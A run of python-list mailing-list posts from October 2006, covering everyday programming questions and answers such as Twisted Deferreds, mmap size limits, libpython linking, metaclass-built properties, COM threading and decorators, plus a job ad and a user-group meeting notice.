> Well, there's your problem.  You need to C-x C-f a new mate. :)

I don't have the commitment for that. What if I were to C-x C-v
a few different ones instead?

-- 
 \            "If you continue running Windows, your system may become |
  `\                 unstable."  -- Microsoft, Windows 95 BSOD message |
_o__)                                                                  |
Ben Finney



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Wed Oct 11 17:30:30 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Wed, 11 Oct 2006 23:30:30 +0200
Subject: Newbie: trying to twist my head around twisted (and python)
References: <12iq2jtbkhna8cf@corp.supernews.com>
Message-ID: <4p563mFh5gu8U1@individual.net>

Jan Bakuwel wrote:

> Does anyone know how I need to complete the code below so it
> returns this mysterious "Deferred result" and runs?

Without having looked at your code at this late hour -- perhaps a
short explanation of what a Deferred is will help.

If a function wants to returns something that will not be available
at an instant (e.g. some data fetched over network) it doesn't
return the "wanted" value directly, but a Deferred instance (as an
abstract reference to this value)

The calling function may now, after getting this Deferred,
attach "Callbacks" and "Errbacks" to this Deferred. Callbacks and
Errbacks are just functions that are executed when the Deferred's
task is finished successfully or unsuccessfully (which will mostly
happen in the future). When the result the Deferred stands for is
available, some other function outside "fires" the Deferred so the
Callback or Errback is executed.

So the typical workflow is:

- Call a function and get a Deferred
- Attach Callbacks to the Deferred which will process the data the
Deferred stands for /when/ it's finally available
- Wait, and eventually in some part of the program the Deferred is
fired and your Callback gets executed.

Regards&HTH,


Bj?rn

-- 
BOFH excuse #293:

You must've hit the wrong any key.



From azricareers at yahoo.com  Mon Oct 16 06:39:09 2006
From: azricareers at yahoo.com (Azri)
Date: 16 Oct 2006 03:39:09 -0700
Subject: EXCITING OPPORTUNITY FOR EXPERIENCED APPLICATION DEVELOPERS (PYTHON)
Message-ID: <1160995149.842439.317990@m7g2000cwm.googlegroups.com>

EXCITING OPPORTUNITY FOR EXPERIENCED APPLICATION DEVELOPERS (PYTHON)

Azri Solutions Pvt Limited ( http://www.azri.de/en/) provides a
challenging work environment, an open work culture & competitive
remuneration : the right ingredients to facilitate superlative
performance.Vacancies for Experienced Application Developers (PYTHON)
are currently open. Azri is an extremely flexible & sustainable
networked enterprise with presence in Germany, the U.S.A. & India. Our
team has intense hands-on experience in designing, deploying and
managing high-volume Service-Oriented Architectures (SOA) including
RDBMS-backed Webservices. In most cases, we leverage tried and tested
open-source software.

Join our highly motivated and dedicated team to embark upon a
challenging and rewarding career where you get to make decisions,
create great products and in the process, have some fun! We believe in
the concept of continuous learning, taking on responsibilities and
providing growth opportunities for every team member. Our environment
encourages innovation. Ideas are welcome and every individual is
empowered to think, share and take ownership oftheir ideas and
creations.

MAIL YOUR RESUME TO edev at azri.biz

JOB DESCRIPTION :

? General : Should have developed applications using Open Source
systems.
? Scripting : TCL, PHP, Perl, Python, Ruby.
? Languages : C, C++ development experience is an added advantage.
? OS : Linux / Unix, Windows. (Must have Linux / Unix experience).
? Frameworks : Should have used Open Source languages like PHP /
Perl/Ruby / TCL and frameworks like Drupal / Mojave / Rails / OpenACS.

DESIRED PROFILE :

? Should enjoy programming.
? Experience : One to four years' programming experience.
? Knowledge of Linux, Shell scripting, Web application development,
Quality software development.
? Excellent conceptual, analytical and programming skills.
? Should have Application Design experience.
? Familiarity with Open Source Application Development.
? Familiarity with Open Source Web Application Frameworks.
? Participation in open source communities is an added advantage.

SOFTSKILLS :

 ? Good communication and interpersonal skills.
? Team player.

LOCATION : HYDERABAD

MAIL YOUR RESUME TO edev at azri.biz



From martin at v.loewis.de  Mon Oct 23 19:09:56 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 01:09:56 +0200
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
Message-ID: <453D4BC4.9080100@v.loewis.de>

myeates at jpl.nasa.gov schrieb:
> Anyone ever done this? It looks like Python2.4 won't take a length arg
>> 2 Gig since its not seen as an int. 

What architecture are you on? On a 32-bit architecture, it's likely
impossible to map in 2GiB, anyway (since it likely won't fit into the
available address space).

On a 64-bit architecture, this is a known limitation of Python 2.4:
you can't have containers with more than 2Gi items. This limitation
was removed in Python 2.5, so I recommend to upgrade. Notice that
the code has seen little testing, due to lack of proper hardware,
so I shall suggest that you review the mmap code first before using
it (or just test it out and report bugs as you find them).

Regards,
Martin


From onurb at xiludom.gro  Thu Oct 12 12:51:56 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Thu, 12 Oct 2006 18:51:56 +0200
Subject: How to be a good programmers?
In-Reply-To: <1160659566.956446.6370@i42g2000cwa.googlegroups.com>
References: <1160588630.961337.213260@m7g2000cwm.googlegroups.com>
	<1160617780.299662.110480@i3g2000cwc.googlegroups.com>
	<1160659566.956446.6370@i42g2000cwa.googlegroups.com>
Message-ID: <452e72ad$0$8659$426a74cc@news.free.fr>

Gasikara wrote:
> I have already started to learn the language (python) since  4 months,
> I love this language program! I have read some of example of zope and I
> see that it look like with html programming, 

Well... Zope being a web app server, this may not be that surprising.
Now there's much more to Zope and web programming than just html.

> so I don't need to learn
> again this things.
> 


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From MonkeeSage at gmail.com  Fri Oct  6 02:43:50 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 5 Oct 2006 23:43:50 -0700
Subject: help on pickle tool
In-Reply-To: <mailman.1411.1160116126.10491.python-list@python.org>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>
	<mailman.1408.1160114785.10491.python-list@python.org>
	<1160115558.554509.292870@c28g2000cwb.googlegroups.com>
	<mailman.1411.1160116126.10491.python-list@python.org>
Message-ID: <1160117030.646441.237070@i42g2000cwa.googlegroups.com>



On Oct 6, 1:28 am, Fredrik Lundh <fred... at pythonware.com> wrote:
> when did you last look at the spec?

I'm fairly versed in JS objects, having written 10 or so extensions for
firefox; but I've only used YAML for trivial tasks like config files.
So I can't really say how they stack up in "the big picture". But from
what I have seen, JSON is a simpler and easier to use format than YAML.

Regards,
Jordan



From sturlamolden at yahoo.no  Fri Oct 27 09:41:52 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 27 Oct 2006 06:41:52 -0700
Subject: NumPy 1.0 release
In-Reply-To: <mailman.1288.1161883418.11739.python-list@python.org>
References: <mailman.1288.1161883418.11739.python-list@python.org>
Message-ID: <1161956512.614213.35900@b28g2000cwb.googlegroups.com>


Travis E. Oliphant wrote:

> We are very pleased to announce the release of NumPy 1.0 available for
> download at http://www.numpy.org

Congratulations to you and the other NumPy developers for completing
this major undertaking. I would also like to express my sincere
gratitude for making this making this software available to all of us.
Thank you.

Sturla Molden



From mlongjr at verizon.net  Fri Oct  6 13:25:56 2006
From: mlongjr at verizon.net (Marion Long Jr)
Date: Fri, 06 Oct 2006 17:25:56 GMT
Subject: Need array help
Message-ID: <EkwVg.362$P92.105@trndny02>

I am switching from microsoft visual basic programming to python 
programming. In microsoft
visual basic you can Dim a variable so that you can add variables by 
changing the number
on the end of the variable as in the following example;

Dim acct(100)

numoffiles=4
data=10
ct=1
while ct <> numoffiles
acctfile(ct) = data
ct= ct + 1
data= data + ct
Wend
The results are;
acctfile(1)=10
acctfile(2)=12
acctfile(3)=15

And you can compare the values of the new variables;
if acctfile(1) > acctfile(2) then print "yes"
if acctfile(2) > acctfile(1) then print "yes"

when I try to create acctfile(ct) = data I get the following error;
***can't assign to function call. Then it gives the program line of the 
problem
Here is the progam in python;

numoffiles=4
data=10
ct=1

while ct != numoffiles:
    acctfile(ct) =data
    ct += 1
    data= data + ct
    print acctfile(ct)

Does anybody know how this is done in Python? 




From sturlamolden at yahoo.no  Wed Oct 25 12:40:22 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 25 Oct 2006 09:40:22 -0700
Subject: Python's CRT licensing on Windows <-- FUD
In-Reply-To: <mailman.1184.1161791523.11739.python-list@python.org>
References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com>
	<mailman.1184.1161791523.11739.python-list@python.org>
Message-ID: <1161794422.707799.273200@b28g2000cwb.googlegroups.com>


Fredrik Lundh wrote:

I am not intentionally posting FUD.

>    "As long as you're using a standard Python build, you don't need to
>    buy VC7 to [legally redistribute the C runtime]. The python.org team
>    use a properly licensed VC7 to build Python, which turns Python into
>    "licensee software" and you into a "distributor" doing "further
>    distribution" of Python to end users (with your own stuff added on
>    top, of course).

That makes sence. One does not need a VC7 license to sell (aka
"distribute") software from a store either.

>    And further distribution is perfectly okay, as long
>    as you only ship the MS components together with proper "licensee
>    software" (=Python), and that all parties respect the relevant
>    portions of the original EULA

Is further "distribution" okay if it is only accompanied by the python
runtime DLL (as is the case when using Py2Exe) or should the entire
python-2.4.4.msi from python.org be "distributed"?

>    "(If in doubt, consult a real lawyer. If you do, make sure that he/she
>    understands the various levels here -- i.e. that "you" in the MS
>    EULA applies to the Python developers, not yourself)."

I certainly don't understand the EULA, and thus I cannot make sure that
I lawyer understands it either. But I can certainly find a lawyer that
charges $$$$ an hour and pretends to understand it. I am sure buying a
copy of VC7 is a lot cheaper.



From ericcngan at gmail.com  Tue Oct 10 19:50:51 2006
From: ericcngan at gmail.com (vduber6er)
Date: 10 Oct 2006 16:50:51 -0700
Subject: Problem compiling C++ code with python embedded
Message-ID: <1160524251.912383.294460@h48g2000cwc.googlegroups.com>

Hello,

I just recently switched my code from one server to another and now
having some problems compiling my code.  I was able to compile fine
with my last server now but this current one is giving me problems.  My
build file is as follows

g++ -Wall ibdws.cpp ../cgic205/cgic.c -oibdws.cgi -Lcgraph -lcgraph
-Icgraph/Cgraph/source -I../cgic205 -L../cgic205
-I/usr/include/python2.4 -L/usr/lib
/python2.4/site-packages -lpython2.4

However, the new server only has python 2.2 so i simply switched the
2.4 to 2.2 so now my build file looks like this:

        g++ -Wall ibdws.cpp ../cgic205/cgic.c -oibdws.cgi -Lcgraph
-lcgraph -Icgraph/Cgraph/source -I../cgic205 -L../cgic205
-I/usr/include/python2.2 -L/usr/lib
/python2.2/site-packages -lpython2.2

but i get the following error when i build now:

/usr/bin/ld: cannot find -lpython2.2
collect2: ld returned 1 exit status

Could someone help me out with this problem?  I am not too good with
linux so please explain to me in newbie steps.  Thanks a lot.

Eric



From bignose+hates-spam at benfinney.id.au  Wed Oct 25 22:44:10 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 12:44:10 +1000
Subject: basic questions on cmp, < and sort
References: <ehp5hu$foo$1@news2.rz.uni-karlsruhe.de>
Message-ID: <87lkn3kd8l.fsf@benfinney.id.au>

Sch?le Daniel <uval at rz.uni-karlsruhe.de> writes:

> Hello,
>
> first question
>
> In [117]: cmp("ABC",['A','B','C'])
> Out[117]: 1
>
> against what part of the list is the string "ABC" compared?

Why "part"? There are two objects; they are compared to each other.

How this comparison is implemented is a matter handled by the class of
each object.

> second question
>
> In [119]: class X(object):
>     .....:     pass
>     .....:
>
> In [120]: X() < X()
> [... differing results ...]
>
> class X does not implement < and cmp
> what is this comparision is based on?

Classes can implement various functions to allow comparisons to work:

    <URL:http://docs.python.org/ref/customization.html#l2h-187>

In the absence of those, the comparison's result is (I believe)
implementation-dependent -- which means, "don't rely on any particular
behaviour".

> third question
>
> sort([[1,2,3],["ABC"],['Z','A'], X(), 4)

    >>> sort([[1,2,3],["ABC"],['Z','A'], X(), 4)
      File "<stdin>", line 1
        sort([[1,2,3],["ABC"],['Z','A'], X(), 4)
                                               ^
    SyntaxError: invalid syntax

Care to give an actual example?

-- 
 \        "I went to the hardware store and bought some used paint. It |
  `\                   was in the shape of a house."  -- Steven Wright |
_o__)                                                                  |
Ben Finney



From toddw at activestate.com  Fri Oct 13 17:38:50 2006
From: toddw at activestate.com (Todd Whiteman)
Date: Fri, 13 Oct 2006 14:38:50 -0700
Subject: wing ide vs. komodo (python IDE comparison)?
In-Reply-To: <2nRXg.108$1n3.2866@news.tufts.edu>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
Message-ID: <4530076A.8000409@activestate.com>

Check the following links, somebody has already done the hard work for 
you :)

http://wiki.python.org/moin/IntegratedDevelopmentEnvironments
http://spyced.blogspot.com/2006/02/pycon-python-ide-review.html
http://spyced.blogspot.com/2005/09/review-of-6-python-ides.html
http://www.straw-dogs.co.uk/blog/python-ide-review

Cheers,
Todd

John Salerno wrote:
> Just curious what users of the two big commercial IDEs think of them 
> compared to one another (if you've used both).
>
> Wing IDE looks a lot nicer and fuller featured in the screenshots, but a 
> glance at the feature list shows that the "personal" version doesn't 
> even support code folding! That's a little ridiculous and makes me have 
> doubts about it.
>
> Komodo, on the other hand, seems to have more of the features that the 
> personal version of Wing IDE lacks (call tips, class browser, etc.) but 
> the look of it seems very sparse for some reason.
>   


From pecora at anvil.nrl.navy.mil  Tue Oct 17 19:48:35 2006
From: pecora at anvil.nrl.navy.mil (Lou Pecora)
Date: Tue, 17 Oct 2006 19:48:35 -0400
Subject: pylab package dependencies
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
	<mailman.604.1161057667.11739.python-list@python.org>
	<pecora-D51FB8.09391617102006@ra.nrl.navy.mil>
	<mailman.650.1161106780.11739.python-list@python.org>
	<pecora-B5F159.14242617102006@ra.nrl.navy.mil>
	<mailman.654.1161110013.11739.python-list@python.org>
	<pecora-CA311D.16224417102006@ra.nrl.navy.mil>
	<mailman.661.1161121277.11739.python-list@python.org>
Message-ID: <pecora-66C902.19483517102006@ra.nrl.navy.mil>

In article <mailman.661.1161121277.11739.python-list at python.org>,
 Robert Kern <robert.kern at gmail.com> wrote:

> > 
> > I assume you are telling me to install ipython from a tar distribution 
> > using setup etc.  I originally installed it from the SciPy Super Pack 
> > which apparently put in the site packages, but neglected the script in 
> > /usr/local/bin.  Sound right?
> 
> Indeed. The SuperPack is broken and does not contain the ipython script. It 
> also 
> puts the documentation in the wrong place.
> 
> ipython is a pure-Python package and easy to install from source.

Bingo!  Now it is clear why I am having problems.  I will install from 
source as you suggest.  Looks pretty straightforward.

Sorry to hear the SuperPack is broken.  It's a nice idea for us users.  
Other packages seem to be working fine.  Any chance it will be fixed?  

> > On the ipython web site for MacOS X it says to do the following after 
> > the install using python setup.py etc. in the extracted directories,
> > 
> > python?setup.py?install_scripts?--install-dir=/usr/local/bin
> > 
> > Is that what you are suggesting with the pydistutils.cfg ?  
> 
> Yes, it does the same thing, only it will apply to all packages (probably 
> what 
> you want) and you only have to do it once instead of remembering to do it 
> every 
> time.

Robert,  thanks for the insight and the solution.

-- Lou Pecora  (my views are my own) REMOVE THIS to email me.


From eric.pederson at gmail.com  Thu Oct  5 15:46:42 2006
From: eric.pederson at gmail.com (EP)
Date: 5 Oct 2006 12:46:42 -0700
Subject: Request for recommendations: shared database without a server
Message-ID: <1160077602.190028.286290@h48g2000cwc.googlegroups.com>

I need to build a fairly simple application that will reside on remote
storage, not on a server, and I am looking for any best practices and
approaches that have worked for others.  I believe py2exe may be part
of the solution.  Here's what I need to build:

--  A database application on a network drive
--  A variety of users will access the database application at various
times
--  All computing is done on the client machines (Windows XP), as there
is no server
--  I'll not be able to install a database program, or Python, on the
client machines

While this seems just the sort of application servers were designed
for, the absence of a server is a firm constraint (no technological
reason, just an arbitrary wall of infinite height)

I currently have some of the required database tables populated in
MySQL, but I can migrate them as long as I have SQL capabilities in the
new database.

Can I get there with MySQL?  Or do I need to pair a pure python
approach (including the database) with py2exe?  Has anyone achieved
this with a db framework like Dabo?  Or is there another, entirely
different and better approach?


The common wisdom around the halls is to just use MS Access, because
apparently everyone has that on their client machines, or can be
asked/expected to install it.  That's not my preference, but I need to
forget my biases, be pragmatic and get the application done.

Thanks for any advice


EP



From george.sakkis at gmail.com  Wed Oct 18 04:13:21 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 18 Oct 2006 01:13:21 -0700
Subject: creating many similar properties
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161156619.762883.237630@e3g2000cwe.googlegroups.com>
Message-ID: <1161159201.685954.82040@h48g2000cwc.googlegroups.com>

Carl Banks wrote:
> Lee Harr wrote:
> > I understand how to create a property like this:
> >
> > class RC(object):
> >     def _set_pwm(self, v):
> >         self._pwm01 = v % 256
> >     def _get_pwm(self):
> >         return self._pwm01
> >     pwm01 = property(_get_pwm, _set_pwm)
> >
> >
> > But what if I have a whole bunch of these pwm properties?
> >
> > I made this:
> >
> > class RC(object):
> >     def _makeprop(name):
> >         prop = '_%s' % name
> >         def _set(self, v):
> >             v_new = v % 256
> >             setattr(self, prop, v_new)
> >         def _get(self):
> >             return getattr(self, prop)
> >         return property(_get, _set)
> >
> >     pwm01 = _makeprop('pwm01')
> >     pwm02 = _makeprop('pwm02')
> >
> >
> > Not too bad, except for having to repeat the name.
> >
> > I would like to just have a list of pwm names and
> > have them all set up like that. It would be nice if
> > each one was set to a default value of 127 also....
> >
> > Any thoughts?
>
>
> The metaclass solution.  I use this idiom occasionally, whenever I want
> to fiddle with the class dict before letting the type constructor at
> it.
>
> class mod256metatype(type):
>     def __new__(metatype,name,bases,clsdict):
>         for sym in clsdict.get('__mod256__',()):
>             prop = '_%s'  % sym
>             def _set(self,v):
>                 setattr(self,prop,v%256)
>             def _get(self):
>                 return getattr(self,prop)
>             clsdict[sym] = property(_get,_set)
>         return type.__new__(metatype,name,bases,clsdict)
>
> class RC(object):
>     __metaclass__ = mod256metatype
>     __mod256__ = ["pwm01","pwm02"]

There's a subtle common bug here: all _get and _set closures will refer
to the last property only. You have to remember to write "def
_set(self,v,prop=prop)" and similarly for _get to do the right thing.
By the way, I can't think of a case where the current behavior (i.e.
binding the last value only) is the desired one. Is this just an
implementation wart or am I missing something ?

George



From dfj225 at gmail.com  Sat Oct 21 20:01:17 2006
From: dfj225 at gmail.com (dfj225 at gmail.com)
Date: 21 Oct 2006 17:01:17 -0700
Subject: Python with MPI enable C-module
In-Reply-To: <mailman.880.1161386001.11739.python-list@python.org>
References: <1161265860.684651.91210@k70g2000cwa.googlegroups.com>
	<mailman.880.1161386001.11739.python-list@python.org>
Message-ID: <1161475277.683774.153010@h48g2000cwc.googlegroups.com>

Mitko,

Thank you for your response.

You understand the problem correctly. The Python module uses MPI calls
in its implementation. The idea of the project is to create an
abstraction for a distributed memory computer. In doing so, the user is
mostly isolated from a need to understand and use MPI calls.

After my post, I was able to find some more information on the subject.
I think you are right in that mpiexec (or equivalents) would not work
without some extra work. However it seems that using an additional
module (such as <a
href="http://datamining.anu.edu.au/~ole/pypar/">Pypar</a>) would allow
me to use Python with mpiexec.

Thank you,
~doug

On Oct 20, 7:13 pm, Mitko Haralanov <m... at qlogic.com> wrote:
> On 19 Oct 2006 06:51:00 -0700
>
> "dfj... at gmail.com" <dfj... at gmail.com> wrote:
> > 1) Would setting up an environment like this require modifying the
> > Python interpreter or the C++ module that is being wrapped? What I'm
> > hoping is that the C++ module can go on happily doing MPI operations
> > despite the fact that it is actually being called by the Python
> > interpreter.If I am understanding you correctly, you have a Python module which
> calls into the C++ library to do the actual MPI operations. If that is
> the case, then there should be any problems just calling the Python
> wrappers. The MPI library should be unaffected. It would be the same as
> having your node programs call into the C++ library, now you just have
> one more layer of abstraction.
>
> > 2) Would it be possible to spawn these Python processes using mpiexec
> > (or something similar), or would I need to use some of the MPI-2
> > features to dynamically set up the MPI environment?If you are writing a Python wrapper to the MPI library, then the
> wrapper will be just like a module and not a self sustained program. If
> that is the case, mpiexec/mpirun/mpd would not be able to do anything
> since they expect to start a program that has main()/__main__.
>
> > 3) Has anyone accomplished something like this already? I know there
> > are extensions and modules that add MPI functionality to Python, but
> > I'm hoping they could be avoided, since the Python code itself should
> > never really have to be aware of MPI, only the C++ module that has
> > already been written.Haven't done it but from what I know about MPI and Python, it is
> possible.
>
> --
> Mitko Haralanov                                  m... at qlogic.com
> Senior Software Engineer                             650.934.8064
> System Interconnect Group                  http://www.qlogic.com



From bjobrien62 at gmail.com  Tue Oct  3 13:29:00 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 3 Oct 2006 10:29:00 -0700
Subject: array tofile fromfile tosocket? fromsocket?
Message-ID: <1159896540.328282.242100@m7g2000cwm.googlegroups.com>

Hi I am using arrays in an application.
They have been working very well for me as I have been using them for
reading and writing data to and from files whose endianisms can be big
or little endian.
However now I need handle data that can be transferred over a socket.

I would rather not have to go in and change every occurance of tofile
and fromfile to a function but realize that is what I may have to do.
I was under the impression that a file and socket were interchangable
(like a file descriptor).   Does anyone have an idea that might help me
minimize the impact on my code?



From Hakusa at gmail.com  Sun Oct 29 20:59:57 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 29 Oct 2006 17:59:57 -0800
Subject: Very simple request about argument setting.
Message-ID: <1162173597.849028.25940@m7g2000cwm.googlegroups.com>

I have the argument items in my class room.

class room:
	def __init__(self, name, description, items*):

I thought I remembered from a tutorial I read once, and I've read so
many I feel like an expert of them, that putting a little star* above
an item makes it accept the argument as a list. But when I tried this,
I got an invalid syntax error message.

So:
Question 1: How can I create an argument that accepts a list of
variable?

Question 2: How do I signify to accept each item as one list? (my bet's
on using another set of parens)

Question 3: Or am I going about this all wrong and should always create
a list before the fuction call and use the list in the function call?



From bray at sent.com  Mon Oct  9 19:23:14 2006
From: bray at sent.com (bray at sent.com)
Date: Mon, 09 Oct 2006 18:23:14 -0500
Subject: Chicago Python User Group Thurs October 12, 2006
Message-ID: <1160436194.2711.272929939@webmail.messagingengine.com>

Thurs. October 12th, 2006. 7pm.

This will be our best meeting, yet.

David Beasley http://www.dabeaz.com, software developer, writer, and
jazz musician will present on PLY. It's 100% Python and very cool. Do
not miss this one!

Topics
------

* PLY (Python Lex Yacc) David Beazley
* Performance Python (without PyPy) Michael Tobis

Location
--------

Performics 
180 N. Lasalle 12th floor. Chicago
RSVP (for building security) by Tuesday night to chris.mcavoy at gmail.com
with subject "RSVP Chipy"

After the storm
---------------

A group may be heading off to catch the snake's tail end of
Tech-cocktail 2 after the meeting and open discussion. We are not
affilated with Tech-cocktail 2, so you must also RSVP

<http://techcocktail.com/blog/2006/09/16/tech-cocktail-2-at-the-gramercy-october-12-2006/>

About ChiPy
-----------

ChiPy is a group of Chicago Python Programmers, l33t, and n00bs.
Meetings are held monthly at various locations around Chicago.
Also, ChiPy is a proud sponsor of many Open Source and Educational
efforts in Chicago. Stay tuned to the mailing list for more info.

ChiPy website: <http://chipy.org>
ChiPy Mailing List: <http://mail.python.org/mailman/listinfo/chicago>
Python website: <http://python.org>

---

Go ChiPy!




From MrJean1 at gmail.com  Mon Oct  9 20:28:53 2006
From: MrJean1 at gmail.com (MrJean1)
Date: 9 Oct 2006 17:28:53 -0700
Subject: print time comparison: IDLE versus terminal on ultra 20
In-Reply-To: <1160428951.061399.311880@c28g2000cwb.googlegroups.com>
References: <1160332865.902895.315470@e3g2000cwe.googlegroups.com>
	<1160345716.439170.117110@e3g2000cwe.googlegroups.com>
	<1160428951.061399.311880@c28g2000cwb.googlegroups.com>
Message-ID: <1160440133.307617.248040@m73g2000cwd.googlegroups.com>

With the binaries /usr/sfw/bin/python and /usr/sfw/bin/idle the results
are 0.002279 resp. 0.222831 secs for the same print test.

The Python version is 2.3.3 and IDLE version 1.0.2 on the same Ultra 20
Opteron box running Solaris 10.

/Jean Brouwers




sam wrote:
> i forgot to mention that i'm running a version of python 2.3 (think
> it's 2.3.5), as that's what was installed and i'm not hooked up to the
> internet with the ultra 20 yet. that may account for some of the
> difference.
> 
> sam



From steve at REMOVE.THIS.cybersource.com.au  Tue Oct 17 10:07:16 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Wed, 18 Oct 2006 00:07:16 +1000
Subject: Tertiary Operation
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
Message-ID: <pan.2006.10.17.14.07.15.854325@REMOVE.THIS.cybersource.com.au>

On Tue, 17 Oct 2006 06:30:32 -0700, abcd wrote:

> x = None
> result = (x is None and "" or str(x))

Boolean operators "and" and "or" stop as soon as a result is known. So:

X and Y evaluates as X if X is false; otherwise it evaluates as Y.
X or Y evaluates as X if X is true; otherwise it evaluates as Y.

(x is None) evaluates as true, so (x is None and "") evaluates as "".
("") evaluates as false, so ("" or str(None)) evaluates as str(None).

The important factor you missed is, I think, that the empty string is
false in a boolean context.

>>> if '':
...     print "empty string evaluates as true"
... else:
...     print "empty string evaluates as false"
...
empty string evaluates as false


> y = 5
> result = (y is 5 and "it's five" or "it's not five")

(y is 5) evaluates as true, so (y is 5 and "it's five") evaluates as "it's
five".
"it's five" evaluates as true, so ("it's five" or ""it's not five")
evaluates as "it's five".


Your basic logic is okay, but you shouldn't test equality with "is".

== tests for equality;
is tests for object identity.

In the case of None, it is a singleton; every reference to None refers to
the same object. But integers like 5 aren't guaranteed to be singletons.
In your case, you were lucky that, by a fluke of implementation, "y is 5"
was true. But watch:

>>> 1+4 is 5
True
>>> 10001 + 10004 == 10005
True
>>> 10001 + 10004 is 10005
False

Always use == to test for equality, and (is) only to test for actual
object identity ("is this object the same as this one, not just two
objects with the same value?").


-- 
Steven.



From robert.kern at gmail.com  Tue Oct  3 04:33:27 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Tue, 03 Oct 2006 03:33:27 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <eft78f$put$1@sea.gmane.org>

Giovanni Bajo wrote:
> Hello,
> 
> I just read this mail by Brett Cannon:
> http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> where the "PSF infrastracture committee", after weeks of evaluation, recommends
> using a non open source tracker (called JIRA - never heard before of course)
> for Python itself.
> 
> Does this smell "Bitkeeper fiasco" to anyone else than me?

No.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From rupole at hotmail.com  Thu Oct 12 23:56:43 2006
From: rupole at hotmail.com (Roger Upole)
Date: Thu, 12 Oct 2006 23:56:43 -0400
Subject: COM and Threads
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
Message-ID: <1160712022_1597@sp6iad.superfeed.net>


"Teja" <tejovathi.p at gmail.com> wrote:
>I have an application which uses COM 's Dispatch to create a COM based
> object. Now I need to upgrade the application to a threaded one. But
> its giving an error that COM and threads wont go together. Specifically
> its an attribute error at the point where COM object is invoked. Any
> pointers please??????
>

An actual traceback would help.
At a guess, when using COM in a thread
you need to call pythoncom.CoInitialize and
CoUninitialize yourself.

     Roger





From http  Wed Oct 25 15:10:19 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 12:10:19 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
Message-ID: <7x4ptsi544.fsf@ruckus.brouhaha.com>

John Salerno <johnjsal at NOSPAMgmail.com> writes:
> I'm a little confused. Why doesn't s evaluate to True in the first
> part, but it does in the second? Is the first statement something
> different?

No.  True and False are boolean values, where booleans are a different
data type from strings, just like strings are different from integers.

  >>> if s:
	print 'hi'

converts s to a boolean during evaluation.  That is, it's the same as

    if bool(s): print 'hi'

bool(s) is a function that converts s to a bool.  If s is a string,
bool(s) is true if s is nonempty, false otherwise.

A comparable thing with integers: suppose

   x = 3.1

then "x == 3" is false, but "int(x) == 3" is true.


From arkanes at gmail.com  Thu Oct 19 11:25:55 2006
From: arkanes at gmail.com (Chris Mellon)
Date: Thu, 19 Oct 2006 10:25:55 -0500
Subject: Can I use decorators to manipulate return type or create methods?
In-Reply-To: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
Message-ID: <4866bea60610190825gae28b12y5f02efeb58be417d@mail.gmail.com>

On 19 Oct 2006 06:43:49 -0700, WakeBdr <bbull at optiosoftware.com> wrote:
> I'm writing a class that will query a database for some data and return
> the result to the caller.  I need to be able to return the result of
> the query in several different ways: list, xml, dictionary, etc.  I was
> wondering if I can use decorators to accomplish this.
>
> For instance, I have the following method
>
> def getUsers(self, params):
>     return users.query(dbc)
>
> To get the appropriate return types, I also have these methods.  I have
> these convenience methods for every query method in my class.
>
> def getUsersAsXML(self, params):
>     return self._toXML(self.getUsers(params))
> def getUsersAsDict(self, params):
>     return self._toDict(self.getUsers(params))
> def getUsersAsList(self, params):
>     return self._toList(self.getUsers(params))
>
> Instead of creating these three methods for every query method, is
> there a way to use decorators to manipulate the return type.  I'd still
> like to have the caller use getUsersAsXML, I just don't want to write
> the AsXML methods for every query method.  So the decorator would
> essentially create the convenience methods instead of me coding them.
>
> One solution that I don't want to use is passing a variable into the
> query method that determines the return type.  This is what I don't
> want to do.
> def getUsers(self, params, returnType):
>
> Any ideas on how I can accomplish this?


You can't do it as fully magically as I'd like, because at the time
decorators are run, the methods are just functions and aren't bound as
methods yet (so you can't automagically add methods to the class, for
example - you'd need to do that after the class definition finishes
executing). You *could* decorate all the functions you want to have
special return types, then (after the class definition) loop through
those to generate the extra return funcs.

You can do it with a minimum of boilerplate this way:

from functools import wraps #only in 2.5, you can do this by hand in 2.4
#wrapped is the function we're calling and returning as XML
#xmlfunc is the stub function we're replacing
def returnXML(wrapped):
    def f(xmlfunc):
        @wraps(xmlfunc)
        def xmlMethod(self):
            return self.asXML(wrapped(self))
        return xmlMethod
    return f

